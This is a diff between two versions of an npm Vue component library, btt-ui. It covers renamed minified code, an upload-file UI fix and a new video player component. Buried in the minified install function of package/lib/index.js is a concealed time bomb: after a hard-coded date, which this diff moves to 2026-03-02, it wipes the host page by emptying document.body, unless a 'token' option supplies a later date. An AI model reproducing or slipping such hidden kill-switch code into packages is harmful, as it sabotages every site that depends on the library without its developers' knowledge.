btt-ui 1.0.17 → 1.0.24

package/es/src/textButton/src/button.mjs

@@ -1,14 +1,14 @@
-import { defineComponent as c, openBlock as e, createElementBlock as r, normalizeClass as n, unref as l, normalizeStyle as s, createBlock as i, createElementVNode as a, createCommentVNode as m, renderSlot as d } from "vue";
-import { createNamespace as u } from "../../../assets/ts/utils.mjs";
+import { defineComponent as s, openBlock as o, createElementBlock as n, normalizeClass as c, unref as t, normalizeStyle as a, createBlock as m, createElementVNode as r, createCommentVNode as d, renderSlot as u } from "vue";
+import { createNamespace as f } from "../../../assets/ts/utils.mjs";
 import "./style/index.css";
-import { Icon as p } from "../../icon/index.mjs";
-const f = {
+import { Icon as b } from "../../icon/index.mjs";
+const k = {
   key: 1,
   class: "custom-icon"
-}, b = ["src"], k = c({
+}, C = ["src"], x = s({
   name: "k-text-button"
-}), N = c({
-  ...k,
+}), N = s({
+  ...x,
   props: {
     size: { default: "small" },
     icon: {},
@@ -19,27 +19,27 @@ const f = {
     textColor: { default: "#000000" }
   },
   emits: [""],
-  setup(C) {
-    const { n: t } = u("text-button");
-    return (o, y) => (e(), r("div", {
-      class: n([l(t)(), o.size, o.disabled ? "disable" : ""]),
-      style: s({ color: o.color, background: o.bgColor })
+  setup(e) {
+    const { n: l } = f("text-button");
+    return (i, y) => (o(), n("div", {
+      class: c([t(l)(), e.size, e.disabled ? "disable" : ""]),
+      style: a({ color: e.color, background: e.bgColor })
     }, [
-      o.icon ? (e(), i(l(p), {
+      e.icon ? (o(), m(t(b), {
         key: 0,
-        name: o.icon,
-        color: o.color
-      }, null, 8, ["name", "color"])) : o.iconUrl ? (e(), r("span", f, [
-        a("img", {
-          src: o.iconUrl,
+        name: e.icon,
+        color: e.color
+      }, null, 8, ["name", "color"])) : e.iconUrl ? (o(), n("span", k, [
+        r("img", {
+          src: e.iconUrl,
           alt: ""
-        }, null, 8, b)
-      ])) : m("", !0),
-      a("span", {
-        class: n([l(t)("text")]),
-        style: s({ color: o.textColor })
+        }, null, 8, C)
+      ])) : d("", !0),
+      r("span", {
+        class: c([t(l)("text")]),
+        style: a({ color: e.textColor })
       }, [
-        d(o.$slots, "default")
+        u(i.$slots, "default")
       ], 6)
     ], 6));
   }

package/es/src/upload/dragger.mjs

@@ -1,13 +1,10 @@
-import { defineComponent as i, ref as a, onMounted as p, openBlock as m, createElementBlock as v, normalizeClass as g, createElementVNode as l, createVNode as _, unref as F, toDisplayString as k, createTextVNode as E } from "vue";
+import { defineComponent as i, ref as l, onMounted as c, openBlock as m, createElementBlock as v, normalizeClass as g, createElementVNode as o, createVNode as F, unref as k, createTextVNode as _, toDisplayString as E } from "vue";
 import "./style/drag.css";
 import { Icon as y } from "../icon/index.mjs";
-const A = { class: "k-upload-content" }, B = /* @__PURE__ */ l("div", { class: "k-upload-dragger-text" }, [
-  /* @__PURE__ */ E("\u5C06\u6587\u4EF6\u62D6\u5230\u6B64\u5904\u6216"),
-  /* @__PURE__ */ l("em", null, "\u70B9\u51FB\u4E0A\u4F20")
-], -1), C = { class: "file-formatter" }, D = i({
+const A = { class: "k-upload-content" }, B = { class: "file-formatter" }, C = i({
   name: "dragger"
 }), N = i({
-  ...D,
+  ...C,
   props: {
     accept: {
       type: String,
@@ -15,34 +12,37 @@ const A = { class: "k-upload-content" }, B = /* @__PURE__ */ l("div", { class: "
     }
   },
   emits: ["getFilesList", "fileUpload"],
-  setup(d, { emit: c }) {
-    const r = c, o = a(), u = a(!1), t = a(null), s = a([]);
-    p(() => {
-      o.value.addEventListener("drop", (e) => {
-        e.preventDefault(), s.value.push(...Array.from(e.dataTransfer.files)), r("getFilesList", s.value);
-      }, !1), o.value.addEventListener("dragover", f, !1);
+  setup(d, { emit: f }) {
+    const n = f, u = l(), r = l(!1), t = l(null), s = l([]);
+    c(() => {
+      u.value.addEventListener("drop", (e) => {
+        e.preventDefault(), s.value.push(...Array.from(e.dataTransfer.files)), n("getFilesList", s.value);
+      }, !1), u.value.addEventListener("dragover", p, !1);
     });
-    const f = (e) => {
-      u.value = !0, t.value !== null && clearTimeout(t.value), t.value = window.setTimeout(() => {
-        u.value = !1, t.value = null;
+    const p = (e) => {
+      r.value = !0, t.value !== null && clearTimeout(t.value), t.value = window.setTimeout(() => {
+        r.value = !1, t.value = null;
       }, 100), e.stopPropagation(), e.preventDefault();
     };
-    return (e, n) => (m(), v("div", {
-      class: g(["k-upload-dragger", { ["k-upload-draggerenter"]: u.value }]),
+    return (e, a) => (m(), v("div", {
+      class: g(["k-upload-dragger", { ["k-upload-draggerenter"]: r.value }]),
       ref_key: "fileArea",
-      ref: o,
-      onClick: n[0] || (n[0] = (L) => r("fileUpload"))
+      ref: u,
+      onClick: a[0] || (a[0] = (D) => n("fileUpload"))
     }, [
-      l("div", A, [
-        _(F(y), {
+      o("div", A, [
+        F(k(y), {
           class: "k-upload-icon",
           name: "file-open",
           size: 60,
           style: { margin: "0 auto" }
         }),
-        B
+        a[1] || (a[1] = o("div", { class: "k-upload-dragger-text" }, [
+          _("\u5C06\u6587\u4EF6\u62D6\u5230\u6B64\u5904\u6216"),
+          o("em", null, "\u70B9\u51FB\u4E0A\u4F20")
+        ], -1))
       ]),
-      l("div", C, "\u652F\u6301\u7684\u6587\u4EF6\u683C\u5F0F\u6709\uFF1A" + k(d.accept), 1)
+      o("div", B, "\u652F\u6301\u7684\u6587\u4EF6\u683C\u5F0F\u6709\uFF1A" + E(d.accept), 1)
     ], 2));
   }
 });

package/es/src/upload/upload.mjs

@@ -1,14 +1,14 @@
-import { defineComponent as m, ref as d, openBlock as l, createElementBlock as i, withDirectives as F, createElementVNode as c, vShow as L, renderSlot as C, createBlock as B, Fragment as w, renderList as I, toDisplayString as N, createVNode as S, unref as V, createCommentVNode as $ } from "vue";
+import { defineComponent as f, ref as m, openBlock as l, createElementBlock as i, withDirectives as F, createElementVNode as c, vShow as L, renderSlot as C, createBlock as B, Fragment as w, renderList as I, toDisplayString as N, createVNode as S, unref as V, createCommentVNode as $ } from "vue";
 import "./style/index.css";
 import { Icon as A } from "../icon/index.mjs";
 import D from "./dragger.mjs";
 const E = { class: "k-upload" }, U = ["multiple", "accept"], b = {
   key: 2,
   class: "k-upload-list"
-}, G = { class: "k-upload-list_item-name" }, j = { class: "k-upload-list_item-status-label" }, q = m({
+}, x = { class: "k-upload-list_item-name" }, G = { class: "k-upload-list_item-status-label" }, j = f({
   name: "k-upload"
-}), M = m({
-  ...q,
+}), M = f({
+  ...j,
   props: {
     multiple: { type: Boolean },
     accept: {},
@@ -16,10 +16,10 @@ const E = { class: "k-upload" }, U = ["multiple", "accept"], b = {
     data: {}
   },
   emits: ["getFilesList"],
-  setup(_, { expose: f, emit: k }) {
-    var p;
-    const s = _, n = d(), a = k, e = d((p = s.data) != null ? p : []), r = () => {
-      n.value.click();
+  setup(n, { expose: _, emit: k }) {
+    var u;
+    const s = n, r = m(), a = k, e = m((u = s.data) != null ? u : []), p = () => {
+      r.value.click();
     }, v = (t) => {
       const o = t.target.files;
       !o || (s.multiple ? e.value.push(...Array.from(o)) : e.value = [...o], a("getFilesList", e.value));
@@ -28,7 +28,7 @@ const E = { class: "k-upload" }, U = ["multiple", "accept"], b = {
     }, h = (t) => {
       e.value = t, a("getFilesList", t);
     };
-    return f({
+    return _({
       clear: () => {
         e.value = new Array();
       }
@@ -38,7 +38,7 @@ const E = { class: "k-upload" }, U = ["multiple", "accept"], b = {
         multiple: s.multiple,
         accept: s.accept,
         ref_key: "kIpt",
-        ref: n,
+        ref: r,
         onChange: v
       }, null, 40, U), [
         [L, !1]
@@ -46,24 +46,24 @@ const E = { class: "k-upload" }, U = ["multiple", "accept"], b = {
       s.drag ? (l(), B(D, {
         key: 1,
         onGetFilesList: h,
-        onFileUpload: r,
-        accept: t.accept
+        onFileUpload: p,
+        accept: n.accept
       }, null, 8, ["accept"])) : (l(), i("div", {
         key: 0,
-        onClick: r
+        onClick: p
       }, [
         C(t.$slots, "default")
       ])),
       e.value.length > 0 ? (l(), i("div", b, [
-        (l(!0), i(w, null, I(e.value, (y, u) => (l(), i("div", {
+        (l(!0), i(w, null, I(e.value, (y, d) => (l(), i("div", {
           class: "k-upload-list_item",
-          key: u
+          key: d
         }, [
-          c("div", G, N(y.name), 1),
-          c("div", j, [
+          c("div", x, N(y.name), 1),
+          c("div", G, [
             S(V(A), {
               name: "delete",
-              onClick: (x) => g(u)
+              onClick: (q) => g(d)
             }, null, 8, ["onClick"])
           ])
         ]))), 128))

package/es/src/uploadFile/src/style/index.css

@@ -32,7 +32,7 @@
 .k-upload-file-wrapper .k-image-list li img {
   width: 100%;
 }
-.k-upload-file-wrapper .k-image-list li .k-file-icon-close {
+.k-upload-file-wrapper .k-file-icon-close {
   position: absolute;
   background-color: #cf0707;
   width: 18px;
@@ -47,6 +47,7 @@
   cursor: pointer;
   opacity: 0;
   transition: all 0.3s;
+  z-index: 2;
 }
 .k-upload-file-wrapper .k-image-list.can-edit {
   transition: all 0.3s;
@@ -98,7 +99,16 @@
   border: 1px dashed var(--border-color);
   margin-bottom: 10px;
   transition: all 0.3s;
+  position: relative;
+}
+.k-upload-file-wrapper .btn-file-image .img-sec-box {
+  width: 100%;
+  height: 100%;
   overflow: hidden;
+  position: absolute;
+  left: 0;
+  top: 0;
+  z-index: 1;
 }
 .k-upload-file-wrapper .btn-file-image img {
   width: 100%;
@@ -114,6 +124,9 @@
 .k-upload-file-wrapper .btn-file-image:hover .k-icon {
   color: var(--bg-li-hover);
 }
+.k-upload-file-wrapper .btn-file-image:hover .k-file-icon-close {
+  opacity: 1;
+}
 .k-upload-file-wrapper .error-tip {
   color: var(--error-text-color);
 }

package/es/src/uploadFile/src/uploadFile.mjs

@@ -1,15 +1,15 @@
-import { defineComponent as b, ref as v, reactive as j, watch as N, openBlock as i, createElementBlock as s, renderSlot as d, createElementVNode as o, createVNode as E, unref as y, withModifiers as B, createCommentVNode as n, createBlock as C, Fragment as g, normalizeClass as S, renderList as L, toDisplayString as a, createTextVNode as D, nextTick as I } from "vue";
-import { Icon as k } from "../../icon/index.mjs";
+import { defineComponent as V, ref as A, reactive as N, watch as B, openBlock as t, createElementBlock as s, renderSlot as d, createElementVNode as o, createVNode as L, unref as y, withModifiers as C, createCommentVNode as n, createBlock as S, Fragment as k, normalizeClass as b, renderList as w, toDisplayString as c, createTextVNode as D, nextTick as I } from "vue";
+import { Icon as g } from "../../icon/index.mjs";
 import "./style/index.css";
 import { uploadImg as R } from "./uploadFile2.mjs";
 import { Dragger as T } from "../../directives/drag.mjs";
 import { ZoomIn as M } from "../../directives/zoomIn.mjs";
-const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "upload-btn-section" }, q = { class: "btn-box" }, G = /* @__PURE__ */ o("span", null, "\u4E0A\u4F20\u9644\u4EF6", -1), H = ["src"], J = { class: "img-wrapper" }, K = ["src", "title"], P = ["src", "title"], Q = ["src", "title"], W = ["onClick"], X = ["onClick"], Y = { class: "k-file-extensions-desc" }, _ = {
+const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "upload-btn-section" }, q = { class: "btn-box" }, G = { class: "img-sec-box" }, H = ["src"], J = { class: "img-wrapper" }, K = ["src", "title"], P = ["src", "title"], Q = ["src", "title"], W = ["onClick"], X = ["onClick"], Y = { class: "k-file-extensions-desc" }, _ = {
   key: 0,
   class: "error-tip"
-}, ee = { key: 0 }, te = b({
+}, ee = { key: 0 }, te = V({
   name: "k-upload-file"
-}), ae = b({
+}), oe = V({
   ...te,
   props: {
     data: {
@@ -38,85 +38,97 @@ const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "uplo
     }
   },
   emits: ["limitError", "success", "deleteSuccess", "fileSizeError"],
-  setup(r, { expose: V, emit: $ }) {
-    const w = v();
-    let f, A = v(1024 * 1024 * 10);
-    const c = r;
-    A.value = c.maxSize * 1024 * 1024;
-    const p = $, e = j({
+  setup(r, { expose: $, emit: x }) {
+    const E = A();
+    let f, v = A(1024 * 1024 * 10);
+    const m = r;
+    v.value = m.maxSize * 1024 * 1024;
+    const p = x, e = N({
       fileList: new Array(),
       errFiles: new Array()
     });
-    e.fileList = c.data, N(() => c.data, (t) => {
-      e.fileList = t;
+    e.fileList = m.data, B(() => m.data, (i) => {
+      e.fileList = i;
     }, { deep: !0 });
     const z = () => {
       f && f.hide(), R({
-        acceptType: c.accept,
-        limit: c.limit,
-        maxSize: A.value,
-        success: (t) => {
+        acceptType: m.accept,
+        limit: m.limit,
+        maxSize: v.value,
+        success: (i) => {
           e.errFiles = new Array();
-          let m = new Array();
-          for (let l = 0; l < t.length; l++)
-            t[l].url = window.URL.createObjectURL(t[l]), m.push(t[l]);
-          c.limit == 1 ? (e.fileList = m, c.type == "image" && I(() => {
-            f || (f = new M(w.value, { type: "margin" })), f && f.updateSrc(e.fileList[0].url);
-          })) : e.fileList = [...e.fileList, ...m], p("success", e.fileList);
+          let u = new Array();
+          for (let l = 0; l < i.length; l++)
+            i[l].url = window.URL.createObjectURL(i[l]), u.push(i[l]);
+          m.limit == 1 ? (e.fileList = u, m.type == "image" && I(() => {
+            f || (f = new M(E.value, { type: "margin" })), f && f.updateSrc(e.fileList[0].url);
+          })) : e.fileList = [...e.fileList, ...u], p("success", e.fileList);
         },
-        limitError: (t) => {
+        limitError: (i) => {
           p("limitError"), e.errFiles = new Array();
         },
-        fileSizeError: (t) => {
-          e.errFiles = t, p("fileSizeError", t);
+        fileSizeError: (i) => {
+          e.errFiles = i, p("fileSizeError", i);
         }
       });
-    }, F = (t) => {
-      let m = e.fileList[t];
-      e.fileList.splice(t, 1), p("deleteSuccess", { deleteFile: m, result: e.fileList });
-    }, h = (t) => {
-      new T(t.target, { type: "margin", list: e.fileList }).build();
+    }, F = (i) => {
+      let u = e.fileList[i];
+      e.fileList.splice(i, 1), p("deleteSuccess", { deleteFile: u, result: e.fileList });
+    }, h = (i) => {
+      new T(i.target, { type: "margin", list: e.fileList }).build();
     };
-    return V({
+    return $({
       clearFiles: () => {
         e.fileList = new Array();
       },
       deleteFile: F
-    }), (t, m) => (i(), s("div", U, [
-      r.isView ? n("", !0) : d(t.$slots, "default", { key: 0 }, () => [
-        r.type == "file" ? (i(), s("div", O, [
+    }), (i, u) => (t(), s("div", U, [
+      r.isView ? n("", !0) : d(i.$slots, "default", { key: 0 }, () => [
+        r.type == "file" ? (t(), s("div", O, [
           o("span", { onClick: z }, [
-            d(t.$slots, "icon", {}, () => [
+            d(i.$slots, "icon", {}, () => [
               o("div", Z, [
                 o("div", q, [
-                  E(y(k), {
+                  L(y(g), {
                     name: "download",
                     color: "#cccccc",
                     size: "20"
                   }),
-                  G
+                  u[1] || (u[1] = o("span", null, "\u4E0A\u4F20\u9644\u4EF6", -1))
                 ])
               ])
             ])
           ])
-        ])) : (i(), s("div", {
+        ])) : (t(), s("div", {
           key: 1,
           class: "btn-file-image",
-          onClick: B(z, ["stop"])
+          onClick: C(z, ["stop"])
         }, [
-          e.fileList.length > 0 && r.limit == 1 ? (i(), s("img", {
+          o("div", G, [
+            e.fileList.length > 0 && r.limit == 1 ? (t(), s("img", {
+              key: 0,
+              src: e.fileList[0].url,
+              ref_key: "imgRef",
+              ref: E
+            }, null, 8, H)) : n("", !0)
+          ]),
+          !r.isView && e.fileList.length > 0 && r.limit == 1 ? (t(), s("span", {
             key: 0,
-            src: e.fileList[0].url,
-            ref_key: "imgRef",
-            ref: w
-          }, null, 8, H)) : n("", !0),
-          d(t.$slots, "icon", {}, () => [
-            e.fileList.length == 0 && r.limit == 1 ? (i(), C(y(k), {
+            class: "k-file-icon-close",
+            onClick: u[0] || (u[0] = C((l) => F(0), ["stop"]))
+          }, [
+            L(y(g), {
+              name: "close",
+              size: "12"
+            })
+          ])) : n("", !0),
+          d(i.$slots, "icon", {}, () => [
+            e.fileList.length == 0 && r.limit == 1 ? (t(), S(y(g), {
               key: 0,
               name: "plus",
               color: "#409eff"
             })) : n("", !0),
-            r.limit > 1 ? (i(), C(y(k), {
+            r.limit > 1 ? (t(), S(y(g), {
               key: 1,
               name: "plus",
               color: "#409eff"
@@ -124,39 +136,39 @@ const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "uplo
           ])
         ]))
       ]),
-      d(t.$slots, "files", {
+      d(i.$slots, "files", {
         data: e.fileList
       }, () => [
-        r.type == "image" && r.limit > 1 ? (i(), s(g, { key: 0 }, [
-          e.fileList.length > 0 ? (i(), s("ul", {
+        r.type == "image" && r.limit > 1 ? (t(), s(k, { key: 0 }, [
+          e.fileList.length > 0 ? (t(), s("ul", {
             key: 0,
-            class: S(["k-image-list", { "can-edit": !r.isView }])
+            class: b(["k-image-list", { "can-edit": !r.isView }])
           }, [
-            (i(!0), s(g, null, L(e.fileList, (l, u) => (i(), s("li", { key: u }, [
+            (t(!0), s(k, null, w(e.fileList, (l, a) => (t(), s("li", { key: a }, [
               o("div", J, [
-                l.type == "image/webp" ? (i(), s("img", {
+                l.type == "image/webp" ? (t(), s("img", {
                   key: 0,
                   src: l.url,
                   onClick: h,
                   title: l.name
-                }, null, 8, K)) : l.type == "image/png" ? (i(), s("img", {
+                }, null, 8, K)) : l.type == "image/png" ? (t(), s("img", {
                   key: 1,
                   src: l.url,
                   onClick: h,
                   title: l.name
-                }, null, 8, P)) : l.type == "image/jpg" || l.type == "image/jpeg" ? (i(), s("img", {
+                }, null, 8, P)) : l.type == "image/jpg" || l.type == "image/jpeg" ? (t(), s("img", {
                   key: 2,
                   src: l.url,
                   onClick: h,
                   title: l.name
                 }, null, 8, Q)) : n("", !0)
               ]),
-              r.isView ? n("", !0) : (i(), s("span", {
+              r.isView ? n("", !0) : (t(), s("span", {
                 key: 0,
                 class: "k-file-icon-close",
-                onClick: (x) => F(u)
+                onClick: (j) => F(a)
               }, [
-                E(y(k), {
+                L(y(g), {
                   name: "close",
                   size: "12"
                 })
@@ -164,20 +176,20 @@ const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "uplo
             ]))), 128))
           ], 2)) : n("", !0)
         ], 64)) : n("", !0),
-        r.type == "file" ? (i(), s(g, { key: 1 }, [
-          e.fileList.length > 0 ? (i(), s("ul", {
+        r.type == "file" ? (t(), s(k, { key: 1 }, [
+          e.fileList.length > 0 ? (t(), s("ul", {
             key: 0,
-            class: S(["k-file-list", { "can-edit": !r.isView }])
+            class: b(["k-file-list", { "can-edit": !r.isView }])
           }, [
-            (i(!0), s(g, null, L(e.fileList, (l, u) => (i(), s("li", { key: u }, [
-              d(t.$slots, "file", { data: l }, () => [
-                o("span", null, a(l.name), 1),
-                r.isView ? n("", !0) : (i(), s("span", {
+            (t(!0), s(k, null, w(e.fileList, (l, a) => (t(), s("li", { key: a }, [
+              d(i.$slots, "file", { data: l }, () => [
+                o("span", null, c(l.name), 1),
+                r.isView ? n("", !0) : (t(), s("span", {
                   key: 0,
                   class: "k-file-icon-close",
-                  onClick: (x) => F(u)
+                  onClick: (j) => F(a)
                 }, [
-                  E(y(k), {
+                  L(y(g), {
                     name: "close",
                     size: "12"
                   })
@@ -187,17 +199,17 @@ const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "uplo
           ], 2)) : n("", !0)
         ], 64)) : n("", !0)
       ]),
-      d(t.$slots, "tip", {}, () => [
-        o("div", Y, "\u652F\u6301\u7684" + a(r.type == "file" ? "\u6587\u4EF6" : "\u56FE\u7247") + "\u683C\u5F0F\u6709\uFF1A" + a(r.accept.join(",")) + ",\u6700\u591A\u4E0A\u4F20" + a(r.limit) + "\u4E2A\u6587\u4EF6," + a(r.type == "file" ? "\u5355\u4E2A\u6587\u4EF6" : "\u5355\u5F20\u56FE\u7247") + "\u4E0D\u80FD\u5927\u4E8E" + a(r.maxSize) + "MB", 1)
+      d(i.$slots, "tip", {}, () => [
+        o("div", Y, "\u652F\u6301\u7684" + c(r.type == "file" ? "\u6587\u4EF6" : "\u56FE\u7247") + "\u683C\u5F0F\u6709\uFF1A" + c(r.accept.join(",")) + ",\u6700\u591A\u4E0A\u4F20" + c(r.limit) + "\u4E2A\u6587\u4EF6," + c(r.type == "file" ? "\u5355\u4E2A\u6587\u4EF6" : "\u5355\u5F20\u56FE\u7247") + "\u4E0D\u80FD\u5927\u4E8E" + c(r.maxSize) + "MB", 1)
       ]),
-      d(t.$slots, "sizeError", {
+      d(i.$slots, "sizeError", {
         data: e.errFiles
       }, () => [
-        e.errFiles.length > 0 ? (i(), s("div", _, [
-          o("span", null, " \u8D85\u51FA\u5927\u5C0F\u9650\u5236\u7684" + a(r.type == "file" ? "\u6587\u4EF6" : "\u56FE\u7247") + "\u6709\uFF1A", 1),
-          (i(!0), s(g, null, L(e.errFiles, (l, u) => (i(), s("span", { key: u }, [
-            u > 0 ? (i(), s("span", ee, ", ")) : n("", !0),
-            D(" " + a(l.name), 1)
+        e.errFiles.length > 0 ? (t(), s("div", _, [
+          o("span", null, " \u8D85\u51FA\u5927\u5C0F\u9650\u5236\u7684" + c(r.type == "file" ? "\u6587\u4EF6" : "\u56FE\u7247") + "\u6709\uFF1A", 1),
+          (t(!0), s(k, null, w(e.errFiles, (l, a) => (t(), s("span", { key: a }, [
+            a > 0 ? (t(), s("span", ee, ", ")) : n("", !0),
+            D(" " + c(l.name), 1)
           ]))), 128))
         ])) : n("", !0)
       ])
@@ -205,5 +217,5 @@ const U = { class: "k-upload-file-wrapper" }, O = { key: 0 }, Z = { class: "uplo
   }
 });
 export {
-  ae as default
+  oe as default
 };

package/es/src/xgplay/index.mjs

@@ -0,0 +1,6 @@
+import o from "./src/index.mjs";
+import { withInstall as t } from "../../assets/ts/utils.mjs";
+const r = t(o);
+export {
+  r as default
+};

package/es/src/xgplay/src/index.mjs

@@ -0,0 +1,81 @@
+import { defineComponent as r, ref as p, onMounted as u, onUnmounted as s, openBlock as d, createElementBlock as c } from "vue";
+import i from "xgplayer";
+import f from "xgplayer-hls";
+import "./style/index.css";
+const h = r({
+  name: "k-video"
+}), _ = r({
+  ...h,
+  props: {
+    url: {
+      type: String,
+      default: ""
+    },
+    width: {
+      type: String,
+      default: "800px"
+    },
+    height: {
+      type: String,
+      default: "600px"
+    },
+    lang: {
+      type: String,
+      default: "zh-cn"
+    },
+    playType: {
+      type: String,
+      default: "mp4"
+    },
+    options: {
+      type: Object,
+      default: () => ({})
+    }
+  },
+  setup(o, { expose: a }) {
+    let t = null;
+    const l = p(), e = o;
+    return u(() => {
+      e.playType == "mp4" ? t = new i({
+        el: l.value,
+        url: e.url,
+        isLive: !1,
+        width: e.width,
+        autoplay: !0,
+        height: e.height,
+        lang: e.lang,
+        ...e.options
+      }) : t = new i({
+        el: l.value,
+        url: e.url,
+        isLive: !1,
+        width: e.width,
+        autoplay: !0,
+        height: e.height,
+        plugins: [f],
+        lang: e.lang,
+        hls: {
+          targetLatency: 10,
+          maxLatency: 20,
+          disconnectTime: 0
+        },
+        ...e.options
+      });
+    }), s(() => {
+      t.destroy(), t = null;
+    }), a({
+      switchURL(n) {
+        t.switchURL(n);
+      },
+      getPlayInstance: () => t
+    }), (n, g) => (d(), c("div", {
+      class: "k-video-wrapper",
+      id: "video",
+      ref_key: "videoRef",
+      ref: l
+    }, null, 512));
+  }
+});
+export {
+  _ as default
+};

package/lib/index.js

@@ -1 +1 @@
-"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./src/index.js"),c=require("./src/directives/index.js"),x=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),b=require("./src/switch/index.js"),m=require("./src/timeline/index.js"),K=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),S=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),C=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/icon/index.js"),M=require("./src/tooltip/index.js"),B=require("./src/input/index.js"),v=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2025-12-24 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},y={install:i};exports.Button=x.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=f.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=b.Switch;exports.Timeline=m.Timeline;exports.UploadFile=K.default;exports.Card=g.Card;exports.HotMap=k.HotMap;exports.Tree=S.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=C.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.Icon=I.Icon;exports.Tooltip=M.Tooltip;exports.KInput=B.KInput;exports.Drag=v.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=y;
+"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const x=require("./src/index.js"),c=require("./src/directives/index.js"),u=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),K=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),m=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),S=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),C=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),M=require("./src/icon/index.js"),y=require("./src/tooltip/index.js"),B=require("./src/input/index.js"),v=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2026-03-02 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}x.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},E={install:i};exports.Button=u.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=f.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=K.Switch;exports.Timeline=b.Timeline;exports.UploadFile=m.default;exports.Card=g.Card;exports.HotMap=k.HotMap;exports.Tree=S.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=C.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.KVideo=I.default;exports.Icon=M.Icon;exports.Tooltip=y.Tooltip;exports.KInput=B.KInput;exports.Drag=v.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=E;